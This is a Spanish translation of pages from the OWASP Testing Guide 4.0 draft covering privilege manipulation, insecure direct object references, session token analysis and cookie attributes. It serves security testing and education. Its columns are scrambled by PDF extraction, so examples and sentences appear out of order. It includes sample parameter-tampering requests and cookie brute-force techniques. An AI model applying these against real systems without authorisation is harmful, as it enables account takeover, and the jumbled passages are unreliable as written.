Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cómo probar

Cache-Control: no-cache

Pruebas de la manipulación del rol/privilegio

Pragma: No-cache

En cada porción de la aplicación donde un usuario puede crear información en la base de datos (por ejemplo, hacer un pago, agregar un contacto o enviar un mensaje), puede recibir información (estado de cuenta, detalles de la orden, etc.), o eliminar la información (salida de usuarios, mensajes, etc.), es necesario grabar dicha funcionalidad. El evaluador debe intentar acceder a tales funciones como otro usuario con el fin de verificar si es posible acceder a una función que no se debe permitir por rol/privilegio del usuario (pero que podría admitirse como otro usuario).

Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT

Connection: close

Por ejemplo:



El siguiente POST de HTTP permite que el usuario que pertenece a grp001 acceda a la orden #0001:

POST /admin/addUser.jsp HTTP/1.1

¿Qué pasa si el evaluador modifica el valor de la variable "profile" en "SysAdmin"? ¿Es posible llegar a ser administrador?

Host: www.example.com [other HTTP headers]

userID=fakeuser&role=3&group=grp001 Por ejemplo:

Verifique si un usuario que no pertenece a la grp001 puede modificar el valor de los parámetros 'groupID' y 'orderID' para acceder a esa información privilegiada.

En un entorno donde el servidor envía un mensaje de error contenido como un valor en un parámetro específico en un conjunto de códigos de respuesta, como el siguiente:

Por ejemplo: La siguiente respuesta del servidor muestra un campo oculto en el HTML devuelto al usuario después de una autenticación correcta.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 124

Guia de pruebas 4.0 "Borrador"

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar `0`0`0`

el valor de un parámetro para apuntar directamente a un objeto. Tales recursos pueden ser entradas de bases de datos que pertenecen a otros usuarios, archivos en el sistema y más. Esto es causado porque la aplicación toma la información ingresada por el usuario y la utiliza para recuperar un objeto sin realizar las comprobaciones de autorización suficientes.

StateExecToolBar`0`0`0`FlagsToolBar`0

Cómo probar

El servidor le brinda una confianza implícita al usuario. Cree que el usuario responderá con el mensaje anterior al cerrar la sesión

En esta condición, compruebe que no sea posible escalar privilegios mediante la modificación de los valores de parámetros. En este ejemplo particular, modificando el valor de 'PVValid' de '-1' a '0' (no hay condiciones de error), es posible autenticarse como administrador al servidor.

Referencias Libros Blancos • Wikipedia Privilege http://en.wikipedia.org/wiki/Privilege_escalation

Escalation:

Para probar esta vulnerabilidad, el evaluador debe, primero, crear el mapa de todas las ubicaciones en la aplicación donde se utiliza información ingresada por el usuario para hacer referencia a objetos directamente. Por ejemplo, lugares donde se utiliza información ingresada por el usuario para acceder a una fila de la base de datos, un archivo, páginas de aplicación y más. A continuación, el evaluador debe modificar el valor del parámetro utilizado para referenciar los objetos y evaluar si es posible recuperar objetos pertenecientes a otros usuarios o, de lo contrario, omitir la autorización.

La mejor manera de probar las referencias de objeto directo sería tener al menos dos usuarios (a menudo más) para cubrir las funciones y objetos propios de cada uno. Por ejemplo, dos usuarios tienen acceso a diferentes objetos (información de compra, mensajes privados, etc.) y (si procede) usuarios con distintos privilegios (usuarios de administrador) para ver si hay referencias a la funcionalidad de la aplicación. Por tener múltiples usuarios, el evaluador ahorra tiempo de prueba en adivinar los nombres de diferentes objetos ya que él puede intentar tener acceso a objetos que pertenecen a otro usuario.

Tools • OWASP WebScarab: OWASP WebScarab Project

A continuación se muestran varios escenarios típicos para esta vulnerabilidad y los métodos de prueba para cada uno:

• OWASP Zed Attack Proxy (ZAP)

Pruebas de las referencias de objetos directos inseguros (OTG-AUTHZ004)

El valor de un parámetro se utiliza directamente para recuperar un registro de la base de datos Solicitud de muestra:

Resumen Las Referencias de Objetos Directos Inseguros ocurren cuando una aplicación ofrece acceso directo a objetos basados en la información suministrada por el usuario. Como resultado de esta vulnerabilidad, los atacantes pueden omitir la autorización y acceder a recursos en el sistema directamente, por ejemplo, registros de la base de datos o archivos.

Las Referencias de Objetos Directos Inseguros permiten a los atacantes omitir la autorización y acceder a los recursos modificando directamente

http://foo.bar/somepage?invoice=12345

En este caso, el valor del parámetro de la factura se utiliza como un índice en una tabla de facturas en la base de datos. La aplicación toma el valor de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 125

Guia de pruebas 4.0 "Borrador"

este parámetro y lo utiliza en una consulta a la base de datos. aplicación, entonces, devuelve la información de la factura al usuario.

La

Puesto que el valor de la factura va directamente a la consulta, modificando el valor del parámetro es posible recuperar cualquier objeto de facturas sin importar el usuario al que pertenece la factura.

Para probar este caso, el evaluador debe obtener el identificador de la factura que pertenece a un usuario de prueba diferente (asegurando que no se supone que ve esta información por la lógica del negocio de la aplicación) y luego verificar si es posible acceder a los objetos sin autorización.

El valor de un parámetro se utiliza directamente para realizar una operación en el sistema

http://foo.bar/showImage?img=img00011

En este caso, el valor del parámetro de archivo se utiliza para indicar a la aplicación qué archivo intenta recuperar el usuario. Proporcionando el nombre o identificador de un archivo diferente (por ejemplo file=image00012.jpg), el atacante podrá recuperar objetos pertenecientes a otros usuarios.

Para este caso, el evaluador debe obtener una referencia a la que el usuario no debería poder acceder y tratar de entrar usando el valor de parámetro del archivo. Nota: Esta vulnerabilidad se explota, a menudo, en conjunción con una vulnerabilidad de directorio/ruta de circulación (ver pruebas para Ruta De circulación)

Solicitud de muestra:

http://foo.bar/changepassword?user=someuser

El valor de un parámetro se utiliza directamente para acceder a la funcionalidad de la aplicación solicitud de muestra

http://foo.bar/accessPage?menuitem=12 En este caso, se utiliza el valor del parámetro de usuario para decirle a la aplicación qué usuario debe cambiar la contraseña. En muchos casos, este paso será una parte de un asistente o una operación multi-pasos. En el primer paso, la aplicación enviará una petición que indica que el usuario debe cambiar la contraseña y, en el siguiente paso, el usuario proporcionará una nueva contraseña (sin pedir la contraseña actual).

El parámetro de usuario se utiliza para hacer referencia directamente al objeto del usuario para quien se realizará la operación de cambio de contraseña. Para probar este caso, el evaluador debe intentar proporcionar un nombre de usuario de prueba diferente al que está registrado y comprobar si es posible modificar la contraseña de otro usuario.

El valor de un parámetro se utiliza directamente para recuperar un archivo de recursos del sistema: Solicitud de muestra:

En este caso, el valor del parámetro menuitem se utiliza para indicar a la aplicación qué objeto del menú (y, por lo tanto, qué funcionalidad de la aplicación) está intentando acceder el usuario. Asuma que el usuario está supuestamente restringido y, por lo tanto, tiene enlaces disponibles sólo para acceder al menú 1, 2 y 3. Modificando el valor del parámetro menuitem, es posible eludir la autorización y acceder a la funcionalidad de la aplicación adicional. Para este caso, el evaluador identifica un lugar donde se determina la funcionalidad de la aplicación por referencia a un elemento de menú, crea un mapa de los valores de los elementos del menú a los que el usuario de prueba tiene acceso y luego intenta acceder a otros elementos de menú.

En los ejemplos anteriores, la modificación de un solo parámetro es suficiente. Sin embargo, a veces la referencia de objeto se puede dividir entre más de un parámetro, y la prueba debe ajustarse en consecuencia.

Referencias

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 126

Guia de pruebas 4.0 "Borrador"

OWASP Top 10 2013-A4-Insecure Direct Object References

atacante que es capaz de predecir y falsificar una cookie débil, fácilmente puede secuestrar las sesiones de usuarios legítimos.

Pruebas de la gestión de sesión Uno de los componentes básicos de cualquier aplicación basada en la web es el mecanismo que controla y mantiene el estado de un usuario para interactuar con él. Esto se refiere a aquello como gestión de sesiones y se define como el conjunto de todos los controles que rigen el estado completo de interacción entre un usuario y la aplicación basada en la web. Esto cubre ampliamente cualquier cosa, desde cómo se realiza la autenticación del usuario, a lo que sucede al salir del sistema.

HTTP es un protocolo sin estado, lo que significa que los servidores web responden a solicitudes de clientes sin vincularlos entre sí. Incluso la lógica de la aplicación más simple requiere que múltiples solicitudes de un usuario se asocien entre sí dentro de una "sesión". Esto requiere soluciones de terceros – a través de cualquier middleware estándar y soluciones de servidor web sacadas de la percha (Off The Shelf)(OTS), o con una implementación de un desarrollador hecha a la medida. Los más populares entornos de aplicaciones web, como ASP y PHP, proporcionan a los desarrolladores rutinas de sesión incorporada. Algún tipo de ficha de identificación normalmente se emitirá, y se denominará "Identificador de sesión" o Cookie.

Hay numerosas maneras en que una aplicación web puede interactuar con un usuario. Cada una depende de la naturaleza de los requerimientos del sitio, la seguridad y la disponibilidad de la aplicación. Mientras hayan aceptado las mejores prácticas para desarrollo de aplicaciones, tales como las descritas en la guía de OWASP Construyendo Aplicaciónes Web Seguras, es importante que se considere la seguridad de las aplicaciones en el contexto de las necesidades y expectativas del proveedor.

Pruebas del esquema de gestión de sesión (OTG-SESS-001) Resumen Para evitar la autenticación continua para cada página de un sitio web o servicio, las aplicaciones web implementan diversos mecanismos para almacenar y validar las credenciales durante un intervalo de tiempo determinado. Estos mecanismos se conocen como manejo de sesiones y aunque son importantes para aumentar la facilidad del uso de la aplicación y amigables con el usuario, pueden ser aprovechados por un evaluador de penetración para obtener acceso a una cuenta de usuario, sin necesidad de proporcionar las credenciales correctas.

Las cookies se utilizan para implementar la gestión de la sesión y se describen en detalle en el RFC 2965. En resumen, cuando un usuario accede a una aplicación que necesita hacer seguimiento de las acciones y la identidad de ese usuario a través de múltiples peticiones, una cookie (o cookies) son generadas por el servidor y enviadas al cliente. El cliente enviará la cookie al servidor en todas las conexiones siguientes hasta que esta expire o se destruya. Los datos almacenados en la cookie pueden proporcionar al servidor un gran abanico de información sobre quién es el usuario, qué acciones ha realizado hasta ahora, cuáles son sus preferencias, etc.; por lo tanto, le da un estado a un protocolo sin estado como es HTTP.

Un ejemplo típico es proporcionado por un carrito de compras en línea. Durante toda la sesión de un usuario, la aplicación debe hacer un seguimiento de su identidad, su perfil, los productos que ha elegido para comprar, la cantidad, los precios individuales, descuentos, etc.. Las cookies son una manera eficiente de almacenar y transmitir esta información una y otra vez (otros métodos son parámetros de URL y campos ocultos).

Debido a la importancia de los datos que almacenan, las cookies son vitales para la seguridad general de la aplicación. Poder manipular las cookies puede resultar en un secuestro de las sesiones de usuarios legítimos, obtener mayores privilegios en una sesión activa y, en general, influir en las operaciones de la aplicación de una manera no autorizada.

En esta prueba, el evaluador podrá comprobar si las cookies emitidas a los clientes pueden resistirse a una amplia gama de ataques dirigidos a interferir con las sesiones de usuarios legítimos y con la propia aplicación. El objetivo general es ser capaces de falsificar una cookie que sea considerada válida por la aplicación y que proporcione algún tipo de acceso no autorizado (secuestro de sesión, escalada de privilegios,...).

Generalmente, los pasos principales del patrón de ataque son los siguientes:

• Recolección de cookies: recolectar un número suficiente de muestras de cookies. • Ingeniería inversa de cookies: análisis del algoritmo de generación de cookies.

En esta prueba, el evaluador debe comprobar que las cookies y otras fichas de sesión se crean de una manera segura e impredecible. Un

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 127

Guia de pruebas 4.0 "Borrador"

• Manipulación de cookies: falsificar una cookie válida para llevar a cabo el ataque. Este último paso podría requerir un gran número de intentos, dependiendo de cómo la cookie haya sido creada (ataque de fuerza bruta de cookie).

Otro patrón de ataque consiste en desbordar una cookie. Estrictamente hablando, este ataque tiene una naturaleza diferente, ya que aquí los evaluadores no intentan recrear una cookie perfectamente válida. En cambio, el objetivo es desbordar un área de memoria, interfiriendo así con el comportamiento correcto de la aplicación y posiblemente inyectando (y ejecutando remotamente) un código malicioso.

Navegue por la aplicación. Note cuándo se crean las cookies. Haga una lista de las cookies recibidas, la página que las establece (con la directiva set-cookie), el dominio para el cual son válidas, su valor y sus características.

¿• ué partes de la aplicación generan o modifican la cookie?

Navegando por la aplicación, encuentre qué cookies se mantienen constantes y cuáles se han modificado.

Cómo probar ¿Qué eventos modificaron la cookie? Prueba de Caja Negra y ejemplos Toda interacción entre el cliente y la aplicación debe ser probada, al menos contra los siguientes criterios:

• ¿ ué partes de la aplicación requiere esta cookie para ser accesible y utilizarla?

• ¿Están todas las directivas Set-Cookie etiquetadas como seguras? • ¿Cualquier operación de cookie se lleva a cabo en un transporte no encriptado?

Averigue qué partes de la aplicación necesitan una cookie. Acceda a una página, inténtelo de nuevo sin la cookie, o con un valor modificado de ella. Trate de crear un mapa para las cookies que se utilizan.

• ¿Puede la cookie ser forzada en un transporte no encriptado? • Si es así, ¿cómo mantiene la aplicación la seguridad? • ¿Hay cookies persistentes?

Una hoja de cálculo que marca cada cookie a las partes correspondientes de la aplicación y la información relacionada puede ser una informacion valiosa obtenida de esta fase.

• ¿ ué tiempos para la caducidad se utilizan en las cookies persistentes y son estos razonables?. • ¿Son las cookies que se esperan sean transitorias configuradas como tal?

Análisis de la sesión

• ¿ ué ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies?

Las fichas (tokens) de sesión (cookies, ID de la sesión o campo oculto) deben ser examinadas para asegurar su calidad desde una perspectiva de seguridad. Deben ser evaluadas según criterios como su aleatoriedad, singularidad, resistencia al análisis estadístico y criptográfico y fuga de información.

• ¿ ué ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies?

Colección de cookies El primer paso requerido para manipular una cookie es entender cómo la aplicación crea y gestiona las cookies. Para esta tarea, los evaluadores tienen que intentar contestar las siguientes preguntas:

• ¿Cuántas cookies son utilizadas por la aplicación?

Estructura de los indicadores y fuga de información La primera etapa es examinar la estructura y el contenido de un Identificador de Sesión proporcionada por la aplicación. Un error común es incluir datos específicos en el indicador, en lugar de emitir un valor genérico y hacer referencia a datos reales en el lado del servidor.

Si la identidad de sesión es texto visible, la estructura y los datos pertinentes pueden ser inmediatamente evidentes, como a continuación:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 128

Guia de pruebas 4.0 "Borrador"

http://foo.bar/showImage?img=img00011

Si parte de o toda la ficha parece estar en código o hash, se debe comparar con distintas técnicas para verificar la ofuscación obvia. Por ejemplo, la cadena "192.168.100.1:owaspuser:password:15:58" está representada en Hexadecimal, Base64 y con un hash MD5:

Hex

Base64

Si se identifican elementos estáticos en las fichas, más muestras deben recogerse, variando un elemento de entrada potencial a la vez. Por ejemplo, intentos de registro a través de una cuenta de usuario diferente o desde una dirección IP diferente pueden producir una variación en la parte anteriormente estática de la ficha de la sesión.

Las siguientes áreas deberían ser analizadas durante la prueba de estructura de una o varias Identificadores de sesión:

3139322E3136382E3130302E313A6F77617370757

• ¿ ué partes del identificador de sesión son estáticas?

365723A70617373776F72643A31353A3538

• ¿ ué información confidencial en texto claro se almacena en el identificador de sesión? Por ejemplo, nombres de usuario/UID, direcciones IP.

MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c • ¿ ue información confidencial fácilmente decodificable se almacena? GFzc3dvcmQ6MTU6NTg=

MD5

01c2fc4f0a817afd8366689bd29dd40a

• ¿ ué información puede deducirse de la estructura del identificador de sesión? • ¿ ué partes del identificador de sesión son estáticas para las mismas condiciones de registro?

Una vez identificado el tipo de ofuscación, es posible descifrar los datos originales. En la mayoría de los casos, sin embargo, esto es improbable. De todas formas, puede ser útil enumerar la codificación en el sitio desde el formato del mensaje. Además, si se deduce la técnica del formato y de la ofuscación, podrían realizarse ataques de fuerza bruta automatizados.

• ¿ ué patrones obvios están presentes en el identificador de sesión como un todo o en porciones individuales?

Previsibilidad y aleatoriedad del identificador de sesión

Las fichas hibridas pueden incluir información como dirección IP o ID de usuario junto con una porción codificada, como los siguientes:

owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412

Tras haber analizado una ficha de sesión individual, debe examinarse la muestra representativa. Un análisis simple de las fichas debe revelar inmediatamente cualquier patrón obvio. Por ejemplo, un token de 32 bits puede incluir un token de 16 bits de datos estáticos y uno de 16 bits de datos variables. Esto puede indicar que los primeros 16 bits representan un atributo fijo del usuario – por ejemplo, el nombre de usuario o dirección IP. Si el segundo campo de 16 bits se incrementa a un ritmo regular, esto puede indicar un elemento secuencial o incluso basado en el tiempo a la generación de la ficha. Vea ejemplos.

El análisis de las zonas variables (si las hay) del identificador de sesión deberían realizarse para establecer la existencia de cualquier patrón reconocible o predecible. Estos análisis pueden ser realizados manualmente y con herramientas diseñadas a la medida u OTS estadísticas o de criptoanálisis para deducir cualquier patrón en el contenido del identificador de sesión. Los controles manuales deberían incluir comparaciones del identificador de sesión emitidas con las mismas condiciones del inicio de sesión; por ejemplo, el mismo nombre de usuario, contraseña y dirección IP.

El tiempo es un factor importante que también debe ser controlado. Un alto número de conexiones simultáneas deben realizarse con el fin de recoger las muestras en la misma ventana de tiempo y mantener esa variable constante. Incluso una cuantización de 50ms o menor puede ser demasiado amplia, y una muestra tomada de esta manera puede revelar componentes basados en el tiempo que de otra manera se pasarían por alto.

Los elementos variables deben ser analizados en el tiempo para determinar si son incrementales por naturaleza. Donde son incrementales, los patrones en relación al tiempo transcurrido, sea

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 129

Guia de pruebas 4.0 "Borrador"

absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al tiempo como una semilla para sus elementos seudoaleatorios. Donde los patrones son aparentemente al azar, hashes unidireccionales de tiempo u otras variaciones ambientales deben considerarse como una posibilidad. Típicamente, el resultado de un hash criptográfico es un número decimal o hexadecimal, así que, debe ser identificable.

En el análisis de secuencias del identificador de sesión, patrones o ciclos, elementos estáticos y las dependencias del cliente, todo debe considerarse como posibles elementos que aporten a la estructura y función de la aplicación.

• ¿Son los identificadores de sesión probadamente al azar en su naturaleza? ¿Se pueden reproducir los valores resultantes? • ¿Las mismas condiciones de entrada producen el mismo ID en una ejecución posterior? • ¿Son los identificadores de sesión probadamente resistentes a las estadísticas o el criptoanálisis?

sesión). Para hacer una cookie impredecible, pueden utilizarse valores aleatorios o criptografía.

[2] Resistencia a la manipulación: una cookie debe resistir los intentos maliciosos de modificación. Si el evaluador recibe una cookie como IsAdmin = No, es trivial modificarla para obtener derechos administrativos, a menos que la aplicación realice una doble revisión (por ejemplo, agregando a la cookie un hash cifrado de su valor).

[3] Vencimiento: una cookie crítica debe ser válida sólo para un período de tiempo adecuado y debe ser eliminada del disco o memoria para evitar el riesgo de ser reproducida. Esto no aplica a las cookies que almacenan los datos no críticos que necesitan ser recordados a través de sesiones (por ejemplo, el sitio look-and-feel).

[4] Marcador "seguro": una cookie cuyo valor es crítico para la integridad de la sesión debe tener esta opción habilitada para permitir su transmisión en un canal cifrado y así impedir su obtención por casualidad.

• ¿Qué elementos de los identificadores de sesión están vinculados al tiempo? • ¿Qué porciones de los identificadores de sesión son predecibles? • ¿Puede deducirse el siguiente ID, dado el conocimiento pleno del algoritmo de generación y ID anteriores?

El enfoque aquí es recoger un número suficiente de instancias de una cookie y empezar a buscar patrones en su valor. El significado exacto de "suficiente" puede variar de un puñado de muestras si el método de generación de galletas es muy fácil de romper, a varios miles si el evaluador debe realizar algunos análisis matemáticos (por ejemplo, atractores chi-square. Vea más adelante para mayor información).

Ingeniería inversa de Cookies Ahora que el evaluador ha enumerado las cookies y tiene una idea general de su uso, es el momento de echar un vistazo más profundo a las cookies que parecen interesantes. ¿Qué cookies interesan al evaluador? Una cookie, con el fin de proporcionar un método seguro de administración de sesiones, debe combinar varias características, que tienen como objetivo proteger la cookie de una clase diferente de ataques.

Estas características se resumen a continuación:

[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos dificiles de adivinar. Mientras más difícil sea falsificar una cookie válida, más difícil será entrar en la sesión de un usuario legítimo. Si un atacante puede adivinar la cookie utilizada en una sesión activa de un usuario legítimo, podrán suplantar totalmente a ese usuario (secuestro de

Es importante prestar especial atención al flujo de trabajo de la aplicación, cómo el estado de una sesión puede tener un impacto pesado en cookies recogidas. Una cookie recogida antes de ser autenticada puede ser muy diferente de una cookie obtenida después de la autenticación.

Otro aspecto a tener en cuenta es el tiempo. Siempre anote el tiempo exacto cuando se ha obtenido una cookie, cuando existe la posibilidad de que el tiempo juegue un papel en el valor de la misma (el servidor podría utilizar un sello de tiempo como parte del valor de la cookie).

El tiempo registrado podría ser la hora local o la marca de tiempo del servidor incluido en la respuesta HTTP (o ambos).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 130

Guia de pruebas 4.0 "Borrador"

Al analizar los valores recogidos, el evaluador debe intentar averiguar todas las variables que podrían influir en el valor de la cookie e intentar cambiarlos uno a la vez. Ver las nuevas versiones de la misma cookie modificadas por el servidor puede ser muy útil para entender cómo la aplicación lee y procesa la cookie.

0123456789abcdef

Ejemplos de controles que pueden realizarse en esta etapa incluyen: Ataques de fuerza bruta

• ¿Qué caracteres se utilizan en la cookie? ¿Tiene la cookie un valor numérico?, ¿alfanumérico?, ¿hexadecimal? ¿Qué sucede si el evaluador inserta en una cookie caracteres que no pertenecen o no se esperan en el conjunto? • ¿Está la cookie compuesta de diferentes subpartes que llevan diferentes piezas de información? ¿Cómo se separan las diferentes partes?, ¿con que delimitadores? Algunas partes de la cookie podrían tener una variación mayor, otras pueden ser constantes, otras podrían suponer sólo un conjunto limitado de valores. Romper las cookies a sus componentes base es el primer paso y el más fundamental de todos.

Un ejemplo de una cookie estructurada fácil de ubicar es el siguiente:

Los ataques de fuerza bruta inevitablemente nacen de las preguntas relativas a la predictibilidad y aleatoriedad.

La varianza dentro de los identificadores de sesión debe ser considerada junto con la duración y tiempos de espera de la sesión de la aplicación. Si la variación dentro de los identificadores de sesión es relativamente pequeña, y la validez del identificador de sesión es larga, la probabilidad de un ataque de fuerza bruta exitoso es mucho mayor.

Un identificador de sesión largo (o más bien uno con una gran cantidad de varianza) y un período de validez más corto, haria mucho más difícil tener éxito en un ataque de fuerza bruta.

ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145 21:S=j3am5KzC4v01ba3q

• ¿Cuánto tiempo tomaría un ataque de fuerza bruta en todos los posibles identificadores de sesión? • ¿Es el espacio del identificador de sesión lo suficientemente grande para evitar un ataque de fuerza bruta? ¿Por ejemplo, la longitud de la clave es suficiente en comparación con el tiempo de vida útil?

Este ejemplo muestra cinco campos diferentes, que llevan diferentes tipos de información:

• ¿El retraso entre los intentos de conexión con diferentes identificadores de sesión mitigan el riesgo de este ataque?

ID – hexadecimal Pruebas de Caja Gris CR – entero pequeño TM y LM – entero grande ( y curiosamente tienen el mismo valor. Vale la pena ver lo que ocurre al modificar uno de ellos).

Si el evaluador tiene acceso al esquema de gestión de sesión de la aplicación, puede comprobar lo siguiente:

S – alfanumérico • Sesión con una ficha al azar

Incluso cuando no se utilizan caracteres delimitadores, tener suficientes muestras puede ayudar. Como ejemplo, echemos un vistazo a la serie siguiente:

El identificador de sesión o cookie emitido al cliente no debe ser fácilmente predecible (no utilice algoritmos lineales basados en variables predecibles como la dirección IP del cliente). Se recomienda el uso de algoritmos criptográficos con longitud de clave de 256 bits (como AES).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 131

Guia de pruebas 4.0 "Borrador"

• Longitud de la ficha

• Correlation Coefficient: mathworld.wolfram.com

El identificador de sesión debe tener una longitud de al menos 50 caracteres.

• Darrin Barrall: “Automated Cookie Analysis”: rmccurdy.com • ENT: fourmilab.ch • seclists.org

• Duración de la sesión • Gunter Ollmann: “Web Based Session Management” - technicalinfo.net La ficha de sesión debe tener una duración definida (que depende de la criticidad de los datos de la aplicación administrada).

• Matteo Meucci:”MMS Spoofing”: owasp.org

• Configuración de cookies:

Videos

• non-persistent: solo en memoria RAM

• Session Hijacking in Webgoat Lesson: yehg.net

• secure (configure solo en canal HTTPS): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure • HTTPOnly (no legible mediante un script): Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly

Mas información aquí: Probando los atributos de las cookies

Actividades de seguridad relacionadas Descripción de las vulnerabilidades en la gestión de sesión Vea los artículos sobre vulnerabilidades en la gestión de la sesión OWASP.

Descripción de las defensas de la gestión de sesión Vea los artículos sobre las defensas de la gestión de sesión de OWASP.

Herramientas • OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session token analysis mechanism. • Burp Sequencer: portswigger.net

Cómo evitar las vulnerabilidades de la gestión de sesión Vea los artículos sobre cómo evitar las vulnerabilidades de la gestión de sesión de OWASP.

• Foundstone CookieDigger: mcafee.com • YEHG’s JHijack: owasp.org

Cómo revisar el código en busca de vulnerabilidades en la gestión de sesión Vea los artículos sobre cómo revisar el código en busca de vulnerabilidades en la gestión de sesión OWASP.

Referencias Libros Blancos Pruebas de los atributos de las cookies (OTG-SESS-002) • RFC 2965 “HTTP State Management Mechanism” Resumen • RFC 1750 “Randomness Recommendations for Security” • Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001): lcamtuf.coredump.cx • Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later” (2002): lcamtuf.coredump.cx

Las cookies son a menudo un vector de ataque clave para usuarios maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicación siempre debe tomar las debidas diligencias para proteger las cookies. Esta sección examina cómo una aplicación puede tomar las precauciones necesarias al asignar las cookies y cómo se prueba que estos atributos se han configurado correctamente.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 132

Guia de pruebas 4.0 "Borrador"

comprar y sus datos auxiliares (es decir, precio y cantidad) en el tipo de aplicación de tienda en línea. La importancia del uso seguro de las cookies no puede estar subestimada, especialmente en aplicaciones web dinámicas, que necesitan mantener el estado a través de un protocolo sin estado como HTTP. Para entender la importancia de las cookies, es imprescindible entender para qué se usan principalmente. Dentro de las funciones primarias se encuentran, generalmente, las de ser utilizadas como una autorización de sesión y ficha de autenticación o como un contenedor de datos temporales. Así, si un atacante pudiera adquirir una ficha de sesión (por ejemplo, mediante la explotación de una vulnerabilidad en un script de sitios cruzados o por olfatear una sesión no encriptada), entonces podría utilizar esta cookie para secuestrar una sesión válida.

Además, las cookies se establecen para mantener el estado entre varias solicitudes. Dado que HTTP no tiene estado, el servidor no puede determinar si una solicitud que recibe es parte de una sesión actual o el comienzo de una nueva sesión sin ningún tipo de identificador. Este identificador es muy comúnmente una cookie, aunque también son posibles otros métodos. Hay muchos tipos diferentes de aplicaciones que necesitan hacer un seguimiento del estado de la sesión a través de múltiples solicitudes. La primera que viene a la mente es una tienda online.

Mientras un usuario añade varios elementos a un carro de compras, estos datos deben conservarse en las solicitudes posteriores a la aplicación. Las cookies son muy utilizadas para esta tarea y son configuradas por la aplicación utilizando la directiva Set-Cookie en la respuesta HTTP de la aplicación y está generalmente en un formato name=value (si las cookies se encuentran activadas y si son compatibles, como es el caso para todos los navegadores modernos). Una vez que una aplicación le ha dicho al navegador que utilice una cookie determinada, el navegador enviará esta cookie en cada solicitud subsiguiente. Una cookie puede contener datos tales como los elementos de un carro de compras en línea, el precio de estos artículos, la cantidad de estos artículos, información personal, identificador de usuarios, etc.

Debido a la naturaleza sensible de la información dentro de las cookies, normalmente son codificadas o encriptadas en un intento de proteger la información que contienen. A menudo, múltiples cookies pueden ser configuradas (separadas por un punto y coma) para las solicitudes subsiguientes. Por ejemplo, en el caso de una tienda online, una nueva cookie podría establecerse al momento que el usuario agrega varios elementos al carro de compras.

Además, normalmente habrá una cookie de autenticación (ficha de sesión como se indica arriba) una vez que el usuario se conecta y múltiples otras cookies que se utilizan para identificar los elementos que el usuario desea

Una vez que el evaluador tiene una comprensión de cómo se establecen las cookies, cuándo se configuran, para qué se utilizan, por qué se utilizan y su importancia, debería echar un vistazo a qué atributos se pueden establecer en una cookie y cómo comprobar si son seguras. La siguiente es una lista de los atributos que se pueden establecer para cada cookie y lo que significan. La siguiente sección se centrará en cómo probar para cada atributo.

• Segura - este atributo indica al navegador que sólo envíe la cookie si la solicitud se remite mediante un canal seguro como HTTPS. Esto ayudará a proteger el envio de la cookie por solicitudes no encriptadas. Si se puede acceder a la aplicación a través de HTTP y HTTPS, entonces existe la posibilidad de que la cookie pueda mandarse en texto limpio. • HttpOnly - este atributo se utiliza para ayudar a prevenir ataques como crosssite scripting, ya que no permite que puedan acceder a la cookie a través de un script del lado del cliente como JavaScript. Tenga en cuenta que no todos los navegadores admiten esta funcionalidad. • Dominio - este atributo se utiliza para comparar contra el dominio del servidor en el que se solicita la dirección URL. Si el dominio coincide o si es un subdominio, entonces el atributo de ruta de acceso se comprobará a continuación.

Note que sólo los hosts dentro del dominio especificado pueden establecer una cookie para ese dominio. También note que el atributo del dominio no puede ser un dominio de nivel superior (como .gov o .com) para evitar que los servidores configuren arbitrariamente cookies para otro dominio. Si no se establece el atributo de dominio, el nombre del servidor host que genera la cookie se utiliza como el valor por defecto del dominio.

Por ejemplo, si se configura una cookie mediante una aplicación en app.mydomain.com sin ningún conjunto de atributos de dominio, la cookie será reenviada, para todas las solicitudes posteriores de app.mydomain.com y sus subdominios (por ejemplo, hacker.app.mydomain.com), pero no a otherapp.mydomain.com. Si un desarrollador desea liberar esta restricción, entonces puede establecer el atributo de dominio a midominio.com. En este caso la cookie sería enviada a todas las peticiones de app.mydomain.com y sus subdominios, como hacker.app.mydomain.com e incluso bank.mydomain.com.

Si hubiera un servidor vulnerable en un subdominio (por ejemplo, otherapp.mydomain.com) y el atributo del dominio se ha establecido muy

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 133

Guia de pruebas 4.0 "Borrador"

ligeramente (por ejemplo midominio.com), entonces el servidor vulnerable podría ser utilizado para cosechar las cookies (como las fichas de sesión).

